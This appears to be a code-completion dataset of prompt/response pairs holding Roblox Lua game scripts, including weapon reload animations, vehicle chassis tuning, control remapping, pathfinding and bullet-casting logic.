			objs[7].Value = objs[7].Value + 1
			wait(0.3)
		end;

		ReloadAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()
			wait(0.3)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play()
			wait(0.15)

			local MagZ = objs[5]:WaitForChild("Mag"):clone()
				objs[5].Mag.Transparency = 1
				MagZ.Parent = objs[5]
				MagZ.Mag:Destroy()
				MagZ.Name = "MagZ"
				MagZ.Transparency = 0
				MagZ.Anchored = false
				MagZ.CanCollide = true
			game.Debris:AddItem(MagZ, 20)

			objs[5].Handle:WaitForChild("MagOut"):Play()

			wait(.5)

			local MagC = objs[5]:WaitForChild("Mag"):clone()
				MagC.Parent = objs[5]
				MagC.Name = "MagC"
				MagC.Transparency = 0

			local MagCW = Instance.new("Motor6D")
				MagCW.Part0 = MagC
				MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
				MagCW.Parent = MagC
				MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
			ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(.3, -0.2, .85) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(90))}):Play()

			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
			wait(0.3)
			ts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.875, 0.5, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
			objs[5].Handle:WaitForChild("MagIn"):Play()
			MagC:Destroy()
			objs[5].Mag.Transparency = 0

			if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then
				objs[7].Value = objs[7].Value + objs[6].Value
				objs[6].Value = 0
				--Evt.Recarregar:FireServer(objs[5].Value)

			elseif objs[7].Value <= 0 then
				objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
				--Evt.Recarregar:FireServer(objs[5].Value)
				objs[7].Value = objs[8].Ammo
				objs[9] = false

			elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then
				objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1
				--objs[10].Recarregar:FireServer(objs[6].Value)
				objs[7].Value = objs[8].Ammo + 1

			elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then
				objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
				--Evt.Recarregar:FireServer(objs[5].Value)
				objs[7].Value = objs[8].Ammo
			end
			wait(1)
		end;


Response:
local toolAnimName = ""
local toolAnimTrack = nil
local toolAnimInstance = nil
local currentToolAnimKeyframeHandler = nil

function toolKeyFrameReachedFunc(frameName)
	if (frameName == "End") then
		playToolAnimation(toolAnimName, 0.0, Humanoid)
	end
end

function playToolAnimation(animName, transitionTime, humanoid, priority)
		local idx = rollAnimation(animName)
		local anim = animTable[animName][idx].anim

		if (toolAnimInstance ~= anim) then

			if (toolAnimTrack ~= nil) then
				toolAnimTrack:Stop()
				toolAnimTrack:Destroy()
				transitionTime = 0
			end

			-- load it to the humanoid; get AnimationTrack
			toolAnimTrack = humanoid:LoadAnimation(anim)
			if priority then
				toolAnimTrack.Priority = priority
			end

			-- play the animation
			toolAnimTrack:Play(transitionTime)
			toolAnimName = animName
			toolAnimInstance = anim

			currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
		end
end

function stopToolAnimations()
	local oldAnim = toolAnimName

	if (currentToolAnimKeyframeHandler ~= nil) then
		currentToolAnimKeyframeHandler:disconnect()
	end

	toolAnimName = ""
	toolAnimInstance = nil
	if (toolAnimTrack ~= nil) then
		toolAnimTrack:Stop()
		toolAnimTrack:Destroy()
		toolAnimTrack = nil
	end

	return oldAnim
end


Prompt: ---Controls UI

Response:
script.Parent.Parent:WaitForChild("Controls")
script.Parent.Parent:WaitForChild("ControlsOpen")
script.Parent:WaitForChild("Window")
script.Parent:WaitForChild("Toggle")

local car = script.Parent.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local UserInputService = game:GetService("UserInputService")
local cPanel = script.Parent
local Controls = script.Parent.Parent.Controls

local ver = require(car["A-Chassis Tune"].README)
cPanel.Window["//INSPARE"].Text = "A-Chassis "..ver.." // INSPARE"

local controlsOpen = false
local cInputB = nil
local cInputT = nil
local cInput = false

local UIS1 = nil
local UIS2 = nil

for i,v in pairs(_Tune.Peripherals) do
	script.Parent.Parent.Controls:WaitForChild(i)
	local slider = cPanel.Window.Content[i]
	slider.Text = v.."%"
	slider.S.CanvasPosition=Vector2.new(v*(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset)/100,0)
	slider.S.Changed:connect(function(property)
		if property=="CanvasPosition" then
			Controls[i].Value = math.floor(100*slider.S.CanvasPosition.x/(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset))
			slider.Text = Controls[i].Value.."%"
		end
	end)
end

for i,v in pairs(_Tune.Controls) do
	script.Parent.Parent.Controls:WaitForChild(i)
	local button = cPanel.Window.Content[i]
	button.Text = v.Name
	button.MouseButton1Click:connect(function()
		if UIS1 ~= nil then UIS1:disconnect() end
		if UIS2 ~= nil then UIS2:disconnect() end
		UIS1 = UserInputService.InputBegan:connect(function(input)
			if cInput then
				cInputB = input.KeyCode
				cInputT = input.UserInputType
			end
		end)
		UIS2 = UserInputService.InputChanged:connect(function(input)
			if cInput and (input.KeyCode==Enum.KeyCode.Thumbstick1 or input.KeyCode==Enum.KeyCode.Thumbstick2) then
				cInputB = input.KeyCode
				cInputT = input.UserInputType
			end
		end)
		script.Parent.Parent.ControlsOpen.Value = true
		cPanel.Window.Overlay.Visible = true
		cInput = true
		repeat wait() until cInputB~=nil
		if UIS1 ~= nil then UIS1:disconnect() end
		if UIS2 ~= nil then UIS2:disconnect() end
		if cInputB == Enum.KeyCode.Return or cInputB == Enum.KeyCode.KeypadEnter then
			--do nothing
		elseif string.find(i,"Contlr")~=nil then
			if cInputT.Name:find("Gamepad") then
				Controls[i].Value = cInputB.Name
				button.Text = cInputB.Name
			else
				cPanel.Window.Error.Visible = true
			end
		elseif i=="MouseThrottle" or i=="MouseBrake" then
			if cInputT == Enum.UserInputType.MouseButton1 or cInputT == Enum.UserInputType.MouseButton2 then
				Controls[i].Value = cInputT.Name
				button.Text = cInputT.Name
			elseif cInputT ==  Enum.UserInputType.Keyboard then
				Controls[i].Value = cInputB.Name
				button.Text = cInputB.Name
			else
				cPanel.Window.Error.Visible = true
			end
		else
			if cInputT == Enum.UserInputType.Keyboard then
				Controls[i].Value = cInputB.Name
				button.Text = cInputB.Name
			else
				cPanel.Window.Error.Visible = true
			end
		end
		cInputB = nil
		cInputT = nil
		cInput = false
		wait(.2)
		cPanel.Window.Overlay.Visible = false
		script.Parent.Parent.ControlsOpen.Value = false
	end)
end

cPanel.Window.Error.Changed:connect(function(property)
	if property == "Visible" then
		wait(3)
		cPanel.Window.Error.Visible = false
	end
end)

cPanel.Toggle.MouseButton1Click:connect(function()
	controlsOpen = not controlsOpen
	if controlsOpen then
		cPanel.Toggle.BackgroundColor3 = Color3.new(1,85/255,.5)
		cPanel.Window:TweenPosition(UDim2.new(0.5, -250,0.5, -250),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true)
	else
		if UIS1 ~= nil then UIS1:disconnect() end
		if UIS2 ~= nil then UIS2:disconnect() end
		cPanel.Toggle.BackgroundColor3 = Color3.new(1,170/255,0)
		cPanel.Window:TweenPosition(UDim2.new(0.5, -250,0, -500),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true)
	end
end)

cPanel.Window.Tabs.Keyboard.MouseButton1Click:connect(function()
	cPanel.Window.Content:TweenPosition(UDim2.new(0, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
end)

cPanel.Window.Tabs.Mouse.MouseButton1Click:connect(function()
	cPanel.Window.Content:TweenPosition(UDim2.new(-1, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
end)

cPanel.Window.Tabs.Controller.MouseButton1Click:connect(function()
	cPanel.Window.Content:TweenPosition(UDim2.new(-2, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
end)

wait(.5)
cPanel.Toggle:TweenPosition(UDim2.new(0.5, -50, 1, -25),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,false)
for i=1,6 do
	cPanel.Toggle.BackgroundColor3 = Color3.new(100/255,100/255,100/255)
	wait(.2)
	if controlsOpen then
		cPanel.Toggle.BackgroundColor3 = Color3.new(1,85/255,.5)
	else
		cPanel.Toggle.BackgroundColor3 = Color3.new(1,170/255,0)
	end
	wait(.2)
end


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
while not v1.Loaded do
	game:GetService("RunService").Heartbeat:Wait();
end;
function Update()
	v1.WorldCmds.Load(v1.StatService.Get().World);
end;
Update();
local u1 = false;
function PreventPlayersDead()
	local v2 = v1.WorldCmds.GetMap();
	if not v2 then
		return;
	end;
	local v3 = v1.PlayerModule.Get("RootPart");
	local v4 = v2:FindFirstChild("PlayerSpawns"):GetChildren();
	if v3.Position.Y < -50 then
		if not u1 then
			u1 = true;
			v3.CFrame = v4[math.random(1, #v4)].CFrame + Vector3.new(0, 8, 0);
			task.wait(0.25);
			u1 = false;
		end;
	end;
end;
v1.Network.Fired("Force Load World"):Connect(function(p1)
	v1.WorldCmds.Load(p1);
end);
coroutine.wrap(function()
	while true do
		PreventPlayersDead();
		v1.RenderStepped();
	end;
end)();


Prompt: -- conecta as funções aos eventos da NumberValue

Response:
numValue.Changed:Connect(function()
	updateTextLabel()
	animateTextLabel()
end)


Prompt: --[[Running Logic]]

Response:
--
local equipped = false
local rayparts = {}

local oldC0 =nil
local nweld

Tool.Equipped:connect(function(mouse)
	wait(0.1)
	--game.Players.LocalPlayer:GetMouse()
	Spawn(function()
		local colorChoice = 1
		if not Tool.Parent:FindFirstChild('Torso') or not Tool.Parent.Head:FindFirstChild('RightWeld') or not Tool.Parent:FindFirstChild('Humanoid') then return end
				hweld = Tool.Parent.Torso['Neck']
		holdC0 = hweld.C0
		equipped = true
		while equipped and Tool.Parent:FindFirstChild('Torso') do
			local tframe = Tool.Parent.Torso.CFrame
			tframe = tframe + tframe:vectorToWorldSpace(Vector3.new(0, 0,0))
			local taim = (mouse.Hit.p + (mouse.Hit.lookVector * 300)) -( tframe.p )
		hweld.C0 = (CFrame.new(Vector3.new(0,1,0),tframe:vectorToObjectSpace(taim))*CFrame.Angles(math.rad(-90),0,math.rad(-180)))

			wait()
		end
		hweld.C0 =holdC0

	end)
end)

Tool.Unequipped:connect(function(mouse)
	equipped= false
	if nweld then
		nweld.MaxVelocity =.15
		nweld.C0 =oldC0
	end

end)


Prompt: --[[Transmission]]

Response:
	Tune.TransModes		= {"Auto", "Semi", "Manual"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch

		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}
		>First mode is default mode													]]

	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)

	--Gear Ratios
	Tune.FinalDrive		= 4.06			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	3.70		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		3.53		,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		2.04		,
		--[[ 3 ]]		1.38		,
		--[[ 4 ]]		1.03		,
		--[[ 5 ]]		0.81		,
		--[[ 6 ]]		0.64		,
	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)


Prompt: --	print("CurrentAnim ", currentAnim, " ", frameName)

Response:
	if (frameName == "End") then
		if currentAnim == "walk" then
			runAnimTrack.TimePosition = 0.0
			currentAnimTrack.TimePosition = 0.0
		else
	--		print("Keyframe : ".. frameName)

			local repeatAnim = currentAnim
			-- return to idle if finishing an emote
			if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
				repeatAnim = "idle"
			end

			local animSpeed = currentAnimSpeed
			playAnimation(repeatAnim, 0.15, Humanoid)
			setAnimationSpeed(animSpeed)
		end
	end
end

function rollAnimation(animName)
	local roll = math.random(1, animTable[animName].totalWeight)
	local origRoll = roll
	local idx = 1
	while (roll > animTable[animName][idx].weight) do
		roll = roll - animTable[animName][idx].weight
		idx = idx + 1
	end
	return idx
end

function playAnimation(animName, transitionTime, humanoid)

	local idx = rollAnimation(animName)


Prompt: -- Backwards compatibility

Response: Promise.async = Promise.defer


Prompt:
--[[ << GROUP PERMISSIONS >>
Format:  [GroupId] = { [GroupRoleNumber] = "PermissionName", OR PermissionNumber, };																																							]]

Response:
Group_Permissions={
	[0] = { [254]="HeadAdmin", [1]="VIP", };
}																																																											;


Prompt: --[[Engine (Avxnturador)]]

Response:
	-- Everything below can be illustrated and tuned with the graph below.
	-- https://www.desmos.com/calculator/oishj9m1tq
	-- This includes everything, from the engines, to boost, to electric.

	-- To import engines prior to AC6C V1.3, consult the README.

	-- Naturally Aspirated Engine
	Tune.Engine 		= true

		Tune.Horsepower		= 100
		Tune.IdleRPM		= 750
		Tune.PeakRPM		= 5800
		Tune.Redline		= 6000
		Tune.EqPoint		= 5252
		Tune.PeakSharpness	= 10
		Tune.CurveMult		= 0.4

	-- Electric Engine
	Tune.Electric		= false

		Tune.E_Redline	= 12700
		Tune.E_Trans1	= 4000
		Tune.E_Trans2	= 7000
		-- Horsepower
		Tune.E_Horsepower	= 223
		Tune.EH_FrontMult	= 0.15
		Tune.EH_EndMult		= 2.9
		Tune.EH_EndPercent	= 7
		-- Torque
		Tune.E_Torque		= 286
		Tune.ET_EndMult		= 1.505
		Tune.ET_EndPercent	= 27.5

	-- Turbocharger
	Tune.Turbochargers	= 1				-- Number of turbochargers in the engine
										-- Set to 0 for no turbochargers
		Tune.T_Boost		= 25
		Tune.T_Efficiency	= 10

		Tune.T_Size			= 1		-- Turbo Size; Bigger size = more turbo lag

	-- Supercharger
	Tune.Superchargers	= 0				-- Number of superchargers in the engine
										-- Set to 0 for no superchargers
		Tune.S_Boost		= 7
		Tune.S_Efficiency	= 8.5

		Tune.S_Sensitivity	= 0.05		-- Supercharger responsiveness/sensitivity, applied per tick (recommended values between 0.05 to 0.1)

	--Misc
	Tune.ThrotAccel		= .05		-- Throttle acceleration, applied per tick (recommended values between 0.05 to 0.1)
	Tune.ThrotDecel		= .2		-- Throttle deceleration, applied per tick (recommended values between 0.1 to 0.3)

	Tune.BrakeAccel		= .2		-- Brake acceleration, applied per tick
	Tune.BrakeDecel		= .5		-- Brake deceleration, applied per tick

	Tune.RevAccel		= 250		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline

	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.Flywheel		= 500		-- Flywheel weight (higher = faster response, lower = more stable RPM)

	Tune.InclineComp	= 1			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)


Prompt: --[[ Constants ]]

Response:
--
local movementKeys = {
	[Enum.KeyCode.W] = true;
	[Enum.KeyCode.A] = true;
	[Enum.KeyCode.S] = true;
	[Enum.KeyCode.D] = true;
	[Enum.KeyCode.Up] = true;
	[Enum.KeyCode.Down] = true;
}

local FFlagUserNavigationClickToMoveSkipPassedWaypointsSuccess, FFlagUserNavigationClickToMoveSkipPassedWaypointsResult = pcall(function() return UserSettings():IsUserFeatureEnabled("UserNavigationClickToMoveSkipPassedWaypoints") end)
local FFlagUserNavigationClickToMoveSkipPassedWaypoints = FFlagUserNavigationClickToMoveSkipPassedWaypointsSuccess and FFlagUserNavigationClickToMoveSkipPassedWaypointsResult

local Player = Players.LocalPlayer

local ClickToMoveDisplay = require(script.Parent:WaitForChild("ClickToMoveDisplay"))

local ZERO_VECTOR3 = Vector3.new(0,0,0)
local ALMOST_ZERO = 0.000001


Prompt: -- إنشاء حدث الاصطدام

Response: wall.Touched:Connect(onTouched)


Prompt:
--[[
	Creates an enum dictionary with some metamethods to prevent common mistakes.
]]

Response:
local function makeEnum(enumName, members)
	local enum = {}

	for _, memberName in ipairs(members) do
		enum[memberName] = memberName
	end

	return setmetatable(enum, {
		__index = function(_, k)
			error(string.format("%s is not in %s!", k, enumName), 2)
		end,
		__newindex = function()
			error(string.format("Creating new members in %s is not allowed!", enumName), 2)
		end,
	})
end


Prompt: -- Types of joints to assume should be preserved

Response:
local ManualJointTypes = Support.FlipTable { 'Weld', 'ManualWeld', 'ManualGlue', 'Motor', 'Motor6D' };

function SearchJoints(Haystack, Part, Whitelist)
	-- Searches for and returns manual joints in `Haystack` involving `Part` and other parts in `Whitelist`

	local Joints = {};

	-- Search the haystack for joints involving `Part`
	for _, Item in pairs(GetChildren(Haystack)) do

		-- Check if this item is a manual, intentional joint
		if ManualJointTypes[Item.ClassName] and
		   (Whitelist[Item.Part0] and Whitelist[Item.Part1]) then

			-- Save joint and state if intentional
			Joints[Item] = Item.Parent;

		end;

	end;

	-- Return the found joints
	return Joints;

end;

function RestoreJoints(Joints)
	-- Restores the joints from the given `Joints` data

	-- Restore each joint
	for Joint, JointParent in pairs(Joints) do
		Joint.Parent = JointParent;
	end;

end;

function PreserveJoints(Part, Whitelist)
	-- Preserves and returns intentional joints of `Part` connecting parts in `Whitelist`

	-- Get the part's joints
	local Joints = GetPartJoints(Part, Whitelist);

	-- Save the joints from being broken
	for Joint in pairs(Joints) do
		Joint.Parent = nil;
	end;

	-- Return the joints
	return Joints;

end;


Prompt: --[[[Default Controls]]

Response:
	--Peripheral Deadzones
	Tune.Peripherals = {
		MSteerWidth				= 67		,	-- Mouse steering control width	(0 - 100% of screen width)
		MSteerDZone				= 10		,	-- Mouse steering deadzone (0 - 100%)

		ControlLDZone			= 5			,	-- Controller steering L-deadzone (0 - 100%)
		ControlRDZone			= 5			,	-- Controller steering R-deadzone (0 - 100%)
	}

	--Control Mapping
	Tune.Controls = {

	--Keyboard Controls
		--Mode Toggles
		ToggleTCS				= Enum.KeyCode.T					,
		ToggleABS				= Enum.KeyCode.Y					,
		ToggleTransMode			= Enum.KeyCode.M					,
		ToggleMouseDrive		= Enum.KeyCode.R					,

		--Primary Controls
		Throttle				= Enum.KeyCode.Up					,
		Brake					= Enum.KeyCode.Down					,
		SteerLeft				= Enum.KeyCode.Left					,
		SteerRight				= Enum.KeyCode.Right				,

		--Secondary Controls
		Throttle2				= Enum.KeyCode.W					,
		Brake2					= Enum.KeyCode.S					,
		SteerLeft2				= Enum.KeyCode.A					,
		SteerRight2				= Enum.KeyCode.D					,

		--Manual Transmission
		ShiftUp					= Enum.KeyCode.E					,
		ShiftDown				= Enum.KeyCode.Q					,
		Clutch					= Enum.KeyCode.LeftShift			,

		--Handbrake
		PBrake					= Enum.KeyCode.P					,

	--Mouse Controls
		MouseThrottle			= Enum.UserInputType.MouseButton1	,
		MouseBrake				= Enum.UserInputType.MouseButton2	,
		MouseClutch				= Enum.KeyCode.W					,
		MouseShiftUp			= Enum.KeyCode.E					,
		MouseShiftDown			= Enum.KeyCode.Q					,
		MousePBrake				= Enum.KeyCode.LeftShift			,

	--Controller Mapping
		ContlrThrottle			= Enum.KeyCode.ButtonR2				,
		ContlrBrake				= Enum.KeyCode.ButtonL2				,
		ContlrSteer				= Enum.KeyCode.Thumbstick1			,
		ContlrShiftUp			= Enum.KeyCode.ButtonY				,
		ContlrShiftDown			= Enum.KeyCode.ButtonX				,
		ContlrClutch			= Enum.KeyCode.ButtonR1				,
		ContlrPBrake			= Enum.KeyCode.ButtonL1				,
		ContlrToggleTMode		= Enum.KeyCode.DPadUp				,
		ContlrToggleTCS			= Enum.KeyCode.DPadDown				,
		ContlrToggleABS			= Enum.KeyCode.DPadRight			,
	}


Prompt: --// Gun Parts

Response:
local L_24_ = L_1_.Bolt
local L_25_ = L_1_.Mag
local L_26_ = L_1_.FirePart
local L_27_ = L_4_:WaitForChild('FX')
local L_28_


Prompt:
-- The pierce function can also be used for things like bouncing.
-- In reality, it's more of a function that the module uses to ask "Do I end the cast now, or do I keep going?"
-- Because of this, you can use it for logic such as ray reflection or other redirection methods.
-- A great example might be to pierce or bounce based on something like velocity or angle.
-- You can see this implementation further down in the OnRayPierced function.

Response:
function CanRayPierce(cast, rayResult, segmentVelocity)

	-- Let's keep track of how many times we've hit something.
	local hits = cast.UserData.Hits
	if (hits == nil) then
		-- If the hit data isn't registered, set it to 1 (because this is our first hit)
		cast.UserData.Hits = 1
	else
		-- If the hit data is registered, add 1.
		cast.UserData.Hits += 1
	end

	-- And if the hit count is over 3, don't allow piercing and instead stop the ray.
	if (cast.UserData.Hits > 3) then
		return false
	end

	-- Now if we make it here, we want our ray to continue.
	-- This is extra important! If a bullet bounces off of something, maybe we want it to do damage too!
	-- So let's implement that.
	local hitPart = rayResult.Instance
	if hitPart ~= nil and hitPart.Parent ~= nil then
		local humanoid = hitPart.Parent:FindFirstChildOfClass("Humanoid")
		if humanoid then
			humanoid:TakeDamage(10) -- Damage.
		end

		if hitPart.Parent == workspace.BuildParts and hitPart.Health then
			hitPart.Health.Value -= 10
			if hitPart.Health.Value <= 0 then
				hitPart:Destroy()
			end
		end
	end

	-- And then lastly, return true to tell FC to continue simulating.
	return true

	--[[
	-- This function shows off the piercing feature literally. Pass this function as the last argument (after bulletAcceleration) and it will run this every time the ray runs into an object.

	-- Do note that if you want this to work properly, you will need to edit the OnRayPierced event handler below so that it doesn't bounce.

	if material == Enum.Material.Plastic or material == Enum.Material.Ice or material == Enum.Material.Glass or material == Enum.Material.SmoothPlastic then
		-- Hit glass, plastic, or ice...
		if hitPart.Transparency >= 0.5 then
			-- And it's >= half transparent...
			return true -- Yes! We can pierce.
		end
	end
	return false
	--]]
end

function Fire(direction)
	-- Called when we want to fire the gun.
	if Tool.Parent:IsA("Backpack") then return end -- Can't fire if it's not equipped.
	-- Note: Above isn't in the event as it will prevent the CanFire value from being set as needed.

	-- UPD. 11 JUNE 2019 - Add support for random angles.
	local directionalCF = CFrame.new(Vector3.new(), direction)
	-- Now, we can use CFrame orientation to our advantage.
	-- Overwrite the existing Direction value.
	local direction = (directionalCF * CFrame.fromOrientation(0, 0, RNG:NextNumber(0, TAU)) * CFrame.fromOrientation(math.rad(RNG:NextNumber(MIN_BULLET_SPREAD_ANGLE, MAX_BULLET_SPREAD_ANGLE)), 0, 0)).LookVector

	-- UPDATE V6: Proper bullet velocity!
	-- IF YOU DON'T WANT YOUR BULLETS MOVING WITH YOUR CHARACTER, REMOVE THE THREE LINES OF CODE BELOW THIS COMMENT.
	-- Requested by https://www.roblox.com/users/898618/profile/
	-- We need to make sure the bullet inherits the velocity of the gun as it fires, just like in real life.
	local humanoidRootPart = Tool.Parent:WaitForChild("HumanoidRootPart", 1)	-- Add a timeout to this.
	local myMovementSpeed = humanoidRootPart.Velocity							-- To do: It may be better to get this value on the clientside since the server will see this value differently due to ping and such.
	local modifiedBulletSpeed = (direction * BULLET_SPEED)-- + myMovementSpeed	-- We multiply our direction unit by the bullet speed. This creates a Vector3 version of the bullet's velocity at the given speed. We then add MyMovementSpeed to add our body's motion to the velocity.

	if PIERCE_DEMO then
		CastBehavior.CanPierceFunction = CanRayPierce
	end

	local simBullet = Caster:Fire(FirePointObject.WorldPosition, direction, modifiedBulletSpeed, CastBehavior)
	-- Optionally use some methods on simBullet here if applicable.

	-- Play the sound
	PlayFireSound()
end


Prompt: ----///Functions///

Response:
function HideChar(char,val)
	for _,v in pairs(char:GetDescendants()) do
		if v:IsA("Part") or v:IsA("MeshPart") then
			if v.Name ~= "HumanoidRootPart" then
				v.Transparency = val
			end
		end
	end
end

VehicleRemotes.LeaveSeat.OnServerEvent:Connect(function(plr) ---Leave seat remote
	if plr.Character.Humanoid.SeatPart ~= nil then
		local VehChair = plr.Character.Humanoid.SeatPart
		VehChair.Disabled = true
	end
end)

VehicleRemotes.EnterSeat.OnServerEvent:Connect(function(plr) ---Enter seat remote
	print("Entered")
	--HideChar(plr.Character,1)
	--plr.Character.Humanoid.JumpPower = 0
end)


Prompt:
--- Finds a hitbox object if valid, else return nil
-- @param Object instance

Response:
function RaycastHitbox:GetHitbox(object: any?)
	if object then
		return HitboxData:_FindHitbox(object)
	end
end

return RaycastHitbox


Prompt: -----------------------------------PATHER--------------------------------------

Response:
local function Pather(endPoint, surfaceNormal, overrideUseDirectPath)
	local this = {}

	local directPathForHumanoid
	local directPathForVehicle
	if overrideUseDirectPath ~= nil then
		directPathForHumanoid = overrideUseDirectPath
		directPathForVehicle = overrideUseDirectPath
	else
		directPathForHumanoid = UseDirectPath
		directPathForVehicle = UseDirectPathForVehicle
	end

	this.Cancelled = false
	this.Started = false

	this.Finished = Instance.new("BindableEvent")
	this.PathFailed = Instance.new("BindableEvent")

	this.PathComputing = false
	this.PathComputed = false

	this.OriginalTargetPoint = endPoint
	this.TargetPoint = endPoint
	this.TargetSurfaceNormal = surfaceNormal

	this.DiedConn = nil
	this.SeatedConn = nil
	this.BlockedConn = nil
	this.TeleportedConn = nil

	this.CurrentPoint = 0

	this.HumanoidOffsetFromPath = ZERO_VECTOR3

	this.CurrentWaypointPosition = nil
	this.CurrentWaypointPlaneNormal = ZERO_VECTOR3
	this.CurrentWaypointPlaneDistance = 0
	this.CurrentWaypointNeedsJump = false;

	this.CurrentHumanoidPosition = ZERO_VECTOR3
	this.CurrentHumanoidVelocity = 0

	this.NextActionMoveDirection = ZERO_VECTOR3
	this.NextActionJump = false

	this.Timeout = 0

	this.Humanoid = findPlayerHumanoid(Player)
	this.OriginPoint = nil
	this.AgentCanFollowPath = false
	this.DirectPath = false
	this.DirectPathRiseFirst = false

	local rootPart = this.Humanoid and this.Humanoid.RootPart
	if rootPart then
		-- Setup origin
		this.OriginPoint = rootPart.CFrame.p

		-- Setup agent
		local agentRadius = 2
		local agentHeight = 5
		local agentCanJump = true

		local seat = this.Humanoid.SeatPart
		if seat and seat:IsA("VehicleSeat") then
			-- Humanoid is seated on a vehicle
			local vehicle = seat:FindFirstAncestorOfClass("Model")
			if vehicle then
				-- Make sure the PrimaryPart is set to the vehicle seat while we compute the extends.
				local tempPrimaryPart = vehicle.PrimaryPart
				vehicle.PrimaryPart = seat

				-- For now, only direct path
				if directPathForVehicle then
					local extents = vehicle:GetExtentsSize()
					agentRadius = AgentSizeIncreaseFactor * 0.5 * math.sqrt(extents.X * extents.X + extents.Z * extents.Z)
					agentHeight = AgentSizeIncreaseFactor * extents.Y
					agentCanJump = false
					this.AgentCanFollowPath = true
					this.DirectPath = directPathForVehicle
				end

				-- Reset PrimaryPart
				vehicle.PrimaryPart = tempPrimaryPart
			end
		else
			local extents = GetCharacter():GetExtentsSize()
			agentRadius = AgentSizeIncreaseFactor * 0.5 * math.sqrt(extents.X * extents.X + extents.Z * extents.Z)
			agentHeight = AgentSizeIncreaseFactor * extents.Y
			agentCanJump = (this.Humanoid.JumpPower > 0)
